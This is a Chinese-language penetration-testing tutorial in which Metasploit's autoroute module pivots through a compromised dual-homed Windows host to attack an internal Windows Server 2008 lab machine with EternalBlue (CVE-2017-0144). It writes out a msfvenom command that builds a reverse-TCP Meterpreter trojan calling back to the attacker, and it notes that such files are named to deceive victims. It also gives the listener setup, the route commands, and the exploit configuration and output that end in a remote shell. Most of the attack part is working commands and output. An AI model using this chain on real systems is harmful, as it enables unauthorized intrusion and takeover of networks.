万字详解:MSF的autoroute路由模块实现永恒之蓝内网横向渗透(CVE-2017-0144)

目录

一、MSF的autoroute模块

1、模块简介

2、工作原理

3、配置步骤

(1)加载autoroute模块手动添加

(2)查看并设置模块参数

(3)方法1:手动添加

(4)方法2:自动探测

二、攻击机控制跳板机

[1、生成MSF windows反向木马](#1、生成MSF windows反向木马)

2、MSF监听

3、将木马上传到跳板机并运行

三、通过自动配置Autoroute模块横向渗透

1、自动探测配置

2、攻击机配置MSF

3、执行run开启攻击

四、通过手动配置Autoroute模块横向渗透

1、MSF与128.exe建立反弹shell

2、手动配置路由

3、Kali横向移动进行永恒之蓝攻击


本文使用MSF的autoroute模块实现内网的横向渗透,实现攻击机通过跳板机,实现对内网靶机的永恒之蓝(CVE-2017-0144)渗透测试,涉及到的三个角色的IP地址配置如下所示。

| 角色 | IP 地址 | 描述 |
| 攻击机 (Attacker) | 10.23.134.128 | Kali Linux, 操作者所在的机器。安装了Metasploit、Nmap等渗透测试工具,是所有攻击的发起源。 |
| 跳板机 (Pivot) | 10.23.134.1 10.100.10.1 | Windows 11,已被控制的双网卡主机。 连接外部网络(10.23.134.0/24)和内部目标网络(10.100.10.0/24)的桥梁 |

内网靶机 (Target) 10.100.10.129 Windows sever2008,最终目标。位于内部网络,无法从互联网直接访问。需要先控制跳板机,才能对其发起攻击。

其中Kali攻击机可以连接跳板机,但是无法直接连接内网靶机。当前目标是使用MSF永恒之蓝模块和MSF木马路由功能,通过跳板机攻击双层网络中的Window server2008的内网靶机。

复制代码
graph LR
    A[攻击机 Attacker<br>10.23.134.128]
    P[跳板机 Pivot]
    T[内网靶机 Target<br>10.100.10.129]

    A -- "网卡1: 10.23.134.1<br>(外部网络)" --> P
    P -- "网卡2: 10.100.10.1<br>(内部网络)" --> T

    style A fill:#ffcccc
    style P fill:#ccccff
    style T fill:#ccffcc

一、MSF的autoroute模块

1、模块简介

autoroute模块是MSF框架中自带的一个路由转发功能的后期利用 (post-exploitation) 模块,其官方路径为 post/multi/manage/autoroute,实现过程是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往"内网"的路由,从而实现通过一个已被攻陷的主机(称为"跳板机"或"立足点")去访问其所在内部网络的其他网段。

当攻击者仅控制一台 "跳板机"(如公网暴露的 Web 服务器),但需要访问跳板机背后的内网(如 192.168.1.0/24、10.0.0.0/8 等私有网段)时,直接访问会因 "路由不可达或者防火墙安全策略导致" 失败。autoroute 的作用是:在 MSF 会话中添加一条 "临时路由规则",让 MSF 后续所有模块(如端口扫描、漏洞利用)的流量,都通过已建立的跳板机会话转发到目标内网,实现 "借道访问"。

2、工作原理

  • 前提条件 :攻击者已通过漏洞利用(如 exploit/multi/handler 监听反弹 shell)获取跳板机的MSF 会话(Session),且会话处于活跃状态。
  • 路由添加:通过 autoroute 模块,指定 "目标内网网段" 和 "对应的跳板机会话 ID",MSF 会在本地生成路由表,将目标网段的流量绑定到该会话。
  • 流量转发:后续使用 MSF 模块(如 auxiliary/scanner/portscan/tcp)扫描内网时,流量会先发送到跳板机,由跳板机转发到内网目标,再将响应结果通过跳板机回传至攻击者,实现 "透明转发"。

3、配置步骤

(1)加载autoroute模块手动添加

在Metasploit主提示符下,使用 use 命令加载模块。具体命令如下所示。

复制代码
msf6 > use post/multi/manage/autoroute

(2)查看并设置模块参数

使用 show options 查看需要设置的参数,具体命令如下所示。

复制代码
msf6 post(multi/manage/autoroute) > show options

Module options (post/multi/manage/autoroute):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
   SESSION                   yes       The session to run this module on
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)

其中最重要的参数是 SESSION,它指定了哪个已存在的会话将被用作跳板。

参数名 作用说明 示例配置
SESSION 指定 "跳板机的会话 ID"(必须正确,否则路由失效) set SESSION 1
SUBNET 指定 "目标内网网段"(支持 CIDR 格式,如 x.x.x.x/24) set SUBNET 192.168.1.0/24
NETMASK 子网掩码(可选,默认根据 SUBNET 自动匹配) set NETMASK 255.255.255.0

(3)方法1:手动添加

复制代码
#在全局给指定的session增删路由(手动指定)
route add 10.100.10.0  255.255.255.0  1        #在session1中添加到达10.100.10.0网段的路由
route del 192.168.12.0  255.255.255.0  2       #在session2中删除到达192.168.12.0网段的路由
route print    #打印路由信息
 
#也可以在进入session下添加路由(手动指定)
run autoroute -s 10.100.10.0/24                #添加到达10.100.10.0网段的路由(CIDR格式添加)
run autoroute -s 10.100.10.0 -n 255.255.255.0  #添加到达10.100.10.0网段的路由(指定子网掩码进行添加)
run autoroute -p                               #打印路由信

(4)方法2:自动探测

若不清楚跳板机所在的内网网段,可使用autoroute -s(或模块参数AUTO_ADD)自动探测并添加所有可达网段。该模块会查询你已控机器的ARP缓存和路由表通过分析这些网络信息,它会自动发现与该机器通信的其他网段,它会将这些新发现的网络段自动添加到Metasploit框架的内置路由表中)。

复制代码
# 方法1:通过命令行直接添加(无需加载模块)
msf6 > run post/multi/manage/autoroute SESSION=1 AUTO_ADD=true  # 自动探测跳板机可达的所有网段并添加路由

# 方法2:也可以在进入session下直接添加,当在Meterpreter 会话内部直接运行run post/multi/manage/autoroute时,模块会默认开启AUTO_ADD=true
meterpreter > run post/multi/manage/autoroute


# 方法3:模块内配置
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set AUTO_ADD true  # 开启自动探测
msf6 post(multi/manage/autoroute) > run

二、攻击机控制跳板机

1、生成MSF windows反向木马

生成一个名为 128.exe 的Windows木马文件。当这个文件在目标电脑上被运行时,它会主动发起一个TCP连接,回连到IP为 10.23.134.128 的机器的 4444 端口。

复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.23.134.128 LPORT=4444 -f exe -o 128.exe
命令部分 含义 解释
msfvenom 主程序 Metasploit框架中用于生成Payload(攻击载荷)的工具。
-p windows/x64/meterpreter/reverse_tcp 指定Payload类型 -ppayload 的缩写。windows/x64/meterpreter/reverse_tcp 指定了要生成的Payload的具体类型: - windows: 目标平台为Windows。 - x64: 目标系统架构为64位。 - meterpreter: 使用Metasploit的高级、内存驻留型Payload。 - reverse_tcp: 连接方式为反向TCP连接(木马会主动连接攻击者)。
LHOST=10.23.134.128 设置监听主机 L istening HOST这是最关键参数之一 。告诉生成的木马程序:"成功运行后,你要主动回连到哪个IP地址" 。这里指定的是攻击者(Kali机器)的IP地址
LPORT=4444 设置监听端口 L istening PORT 。告诉木马程序:"你要回连到攻击者机器的哪个端口"4444 是Metasploit默认的监听端口。
-f exe 指定输出格式 -fformat 的缩写。exe 表示将Payload封装成一个标准的Windows可执行文件(.exe)
-o 128.exe 指定输出文件名 -oout 的缩写。128.exe 是生成的木马文件的保存名称。这个名字通常起得具有迷惑性,以便诱骗目标运行

2、MSF监听

Metasploit Framework 中设置一个反向****TCP 监听器,配置如下所示。

复制代码
msfconsole                                         
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.23.134.128
set LPORT 4444
run
  • use exploit/multi/handler:这是一个万能监听器 。它本身不是一个漏洞利用程序,而是一个用于接收传入连接 的模块。当Payload在目标机器上被执行后,这个模块负责处理连接并为你提供一个会话(Session)。它是接收 reverse_tcpreverse_http 等反向连接Payload的"服务器端"。

  • set PAYLOAD windows/x64/meterpreter/reverse_tcp:设置要处理的Payload类型,需要与生成的木马完全一致的Payload类型 。这里设置为 windows/x64/meterpreter/reverse_tcp,意味着监听器准备接收来自64位Windows系统的、基于TCP的反向Meterpreter连接。

  • set LHOST 10.23.134.128:设置 L istening HOST(监听主机)的IP地址

  • set LPORT 4444:设置 L istening PORT(监听端口),必须与生成木马时使用的 LPORT 值完全相同

执行run后Metasploit会在你的Kali机器(10.23.134.128)上绑定TCP端口 4444,并开始等待传入连接。

3、将木马上传到跳板机并运行

将木马128.exe上传到跳板机中并运行,当这个文件在跳板机中被运行时,它会主动发起一个TCP连接 ,回连到IP为 10.23.134.128 的攻击机的 4444 端口,此时查看kali攻击机MSF的监听效果如下所示,已经成功建立shell连接。

三、通过自动配置Autoroute模块横向渗透

1、自动探测配置

Meterpreter 的session会话内部执行run post/multi/manage/autoroute命令,此时模块会默认开启AUTO_ADD=true,也就是说模块会通过当前SESSION=1会话对应的跳板机,自动探测其能访问的所有内网网段,并将,并将这些网段自动添加到 MSF 路由表中,其运行结果如下所示。

复制代码
[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: windows
[*] Running module against DESKTOP-BKAQPQQ
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.23.134.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 10.100.10.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 10.192.0.0/255.255.224.0 from host's routing table.
[+] Route added to subnet 192.168.59.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from Microsoft Wi-Fi Direct Virtual Adapter.
[+] Route added to subnet 192.168.137.0/255.255.255.0 from Intel(R) Wireless-AC 9560 160MHz.

通过autoroute模块执行结果来看,这是一次成功的内网路由自动添加操作。 模块通过当前 Meterpreter 会话(主机名为DESKTOP-BKAQPQQ),自动探测并添加了以下内网网段的路由。

复制代码
10.23.134.0/24                  # 来自主机路由表
10.100.10.0/24                  # 来自主机路由表
10.192.0.0/19(子网掩码255.255.224.0)  # 来自主机路由表
192.168.59.0/24                 # 来自主机路由表
169.254.0.0/16(子网掩码255.255.0.0)  # 来自Wi-Fi直连虚拟适配器
192.168.137.0/24                # 来自Intel无线网卡

接下来通过run autoroute -p查看路由表,运行结果如下所示。Active Routing Table(活跃路由表)显示了通过Session 1(跳板机会话)添加的所有内网路由,共 6 条。这其中就包括我们的内网渗透目标10.100.10.0/24网段所在的靶机10.100.10.129。

将已经获得的跳板机的Meterpreter会话(其会话ID为 1)切换到后台,使用 background 命令,具体命令如下所示。

复制代码
meterpreter > background
[*] Backgrounding session 1...

2、攻击机配置MSF

通过 MSF 利用永恒之蓝漏洞攻击内网主机。先加载 ms17_010_eternalblue 模块,设 bind_tcp payload,指定目标 IP 10.100.10.129 和监听端口 7777,执行后尝试让目标开放 7777 端口并建立连接,以获取 Meterpreter 会话,依赖此前 autoroute 添加的路由通过跳板机转发流量。

复制代码
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.100.10.129
set LPORT 7777
  • use exploit/windows/smb/ms17_010_eternalblue加载针对 MS17-010 漏洞的永恒之蓝 exploit 模块,该漏洞主要影响 Windows 7、Windows Server 2008 等系统。

  • set payload windows/x64/meterpreter/bind_tcp指定攻击成功后在目标主机上运行的 payload:64 位 Windows 系统的 Meterpreter 绑定型 TCP shell(bind_tcp)。

  • set RHOST 10.100.10.129设置目标主机 IP 为 10.100.10.129(从之前的路由表可知,该 IP 属于通过 Session 1 可达的内网网段)。

  • set LPORT 7777设置目标主机上 bind_tcp 监听的端口为 7777(攻击者后续会连接此端口)。

使用show options查看配置内容,具体如下所示。

3、执行run开启攻击

使用run开启永恒之蓝攻击,如下所示成功反弹shell,接下来输入ipconfig查到目标主机的ip地址为10.100.10.129,说明成功通过跳板机攻击成功。

复制代码
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] 10.100.10.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.100.10.129:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 10.100.10.129:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.100.10.129:445 - The target is vulnerable.
[*] 10.100.10.129:445 - Connecting to target for exploitation.
[+] 10.100.10.129:445 - Connection established for exploitation.
[+] 10.100.10.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.100.10.129:445 - CORE raw buffer dump (53 bytes)
[*] 10.100.10.129:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 10.100.10.129:445 - 0x00000010  30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73  008 R2 Enterpris
[*] 10.100.10.129:445 - 0x00000020  65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50  e 7601 Service P
[*] 10.100.10.129:445 - 0x00000030  61 63 6b 20 31                                   ack 1           
[+] 10.100.10.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.100.10.129:445 - Trying exploit with 12 Groom Allocations.
[*] 10.100.10.129:445 - Sending all but last fragment of exploit packet
[*] 10.100.10.129:445 - Starting non-paged pool grooming
[+] 10.100.10.129:445 - Sending SMBv2 buffers
[+] 10.100.10.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.100.10.129:445 - Sending final SMBv2 buffers.
[*] 10.100.10.129:445 - Sending last fragment of exploit packet!
[*] 10.100.10.129:445 - Receiving response from exploit packet
[+] 10.100.10.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.100.10.129:445 - Sending egg to corrupted connection.
[*] 10.100.10.129:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 10.100.10.129:7777
[-] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.100.10.129:445 - Connecting to target for exploitation.
[+] 10.100.10.129:445 - Connection established for exploitation.
[+] 10.100.10.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.100.10.129:445 - CORE raw buffer dump (53 bytes)
[*] 10.100.10.129:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 10.100.10.129:445 - 0x00000010  30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73  008 R2 Enterpris
[*] 10.100.10.129:445 - 0x00000020  65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50  e 7601 Service P
[*] 10.100.10.129:445 - 0x00000030  61 63 6b 20 31                                   ack 1           
[+] 10.100.10.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.100.10.129:445 - Trying exploit with 17 Groom Allocations.
[*] 10.100.10.129:445 - Sending all but last fragment of exploit packet
[*] 10.100.10.129:445 - Starting non-paged pool grooming
[+] 10.100.10.129:445 - Sending SMBv2 buffers
[+] 10.100.10.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.100.10.129:445 - Sending final SMBv2 buffers.
[*] 10.100.10.129:445 - Sending last fragment of exploit packet!
[*] 10.100.10.129:445 - Receiving response from exploit packet
[+] 10.100.10.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.100.10.129:445 - Sending egg to corrupted connection.
[*] 10.100.10.129:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.100.10.129
[*] Meterpreter session 2 opened (10.100.10.1:54774 -> 10.100.10.129:7777 via session 1) at 2025-09-03 01:29:54 -0400
[+] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.100.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:f1:c1:0e
MTU          : 1500
IPv4 Address : 10.100.10.129
IPv4 Netmask : 255.255.255.0


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a64:a81
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

四、通过手动配置Autoroute模块横向渗透

为与前面第三步区分开,此时结束之前的session,使用sessions确认当前已无session会话,接下来我们使用手动配置autoroute的方式重新进行横向渗透。

1、MSF与128.exe建立反弹shell

Metasploit Framework 中再次设置一个反向****TCP 监听器,如下所示。

复制代码
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.23.134.128
set LPORT 4444
run

将128.exe上传到跳板机运行,此时kali攻击机成功建立反弹shell,如下所示。

2、手动配置路由

在当前 Meterpreter 会话(session3)中执行**run autoroute -s 10.100.10.100 -n 255.255.255.0**,意为通过该会话添加一条路由规则:将目标网段10.100.10.0/24(子网掩码 255.255.255.0)与 session3 绑定,使 MSF 后续针对该网段的流量通过此会话(跳板机)转发,实现对该内网网段的访问。

通过autoroute模块执行结果来看,这是一次成功的内网路由添加操作, 将网段 10.100.10.100/24(子网掩码 255.255.255.0)与 Session 3 绑定**。**接下来通过run autoroute -p查看路由表,运行结果如下所示。说明路由表中已新增该条目,表明 MSF 后续访问此网段的流量会通过 Session 3 对应的跳板机进行转发。

将已经获得的跳板机的Meterpreter会话(其会话ID为 3)切换到后台,使用 background 命令,具体命令如下所示。

复制代码
meterpreter > background
[*] Backgrounding session 3...

3、Kali横向移动进行永恒之蓝攻击

通过 MSF 对 10.100.10.129 这一内网主机发起永恒之蓝漏洞攻击,先加载 ms17_010_eternalblue 模块,配置 bind_tcp 载荷,指定目标 IP为10.100.10.100 及监听端口 7777。执行后,攻击流量借助此前 autoroute 添加的路由经跳板机转发,尝试让目标主机开放 7777 端口并建立连接,最终获取 Meterpreter 会话以实现控制。

复制代码
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.100.10.129
set LPORT 7777
run

使用run开启永恒之蓝攻击,如下所示成功反弹shell,接下来输入ipconfig查到目标主机的ip地址为10.100.10.129,说明成功通过跳板机攻击成功。

相关推荐
mooyuan天天9 小时前
Cobalt Strike渗透生成 linux http Beacon不生效bug分析与解决方法
linux·内网渗透·横向移动·cobalt strike
PyHaVolask1 天前
木马程序原理与远程执行技术全解析
隐写术·横向移动·文件结构·木马原理·远程执行·psexec
mooyuan天天1 天前
Cobalt Strike横向渗透之Https Beacon实战1(跳板机Linux)
内网渗透·横向移动·cobalt strike
mooyuan天天1 天前
CobaltStrike横向渗透之Https Beacon实战2(跳板机Linux)
linux·内网渗透·横向移动·cobalt strike
无名修道院2 天前
渗透测试新手面试高频 50 题:原理 + 标准答案(2025)- 第三篇
网络安全·面试·职场和发展·渗透测试·内网渗透·免杀
xing.yu.CTF2 天前
ATT&CK实战系列--蓝队防御(二)
网络·web安全·渗透测试·横向移动·暴力破解·入侵排查·内网对抗
mooyuan天天2 天前
Cobalt Strike渗透之HTTPS/SMB/TCP Beacon横向移动实战2(跳板机Windows)
内网渗透·横向移动·cobalt strike
mooyuan天天2 天前
Cobalt Strike渗透之HTTPS/SMB/TCP Beacon横向移动实战3(跳板机Windows)
内网渗透·横向移动·cobalt strike
mooyuan天天3 天前
CobaltStrike渗透实战之CS转发MSF联动(攻击机Kali在内网:目标靶机无法直接连Kali解决方案:需配置NAT端口映射)
内网渗透·nat·metasploit·msf·cobalt strike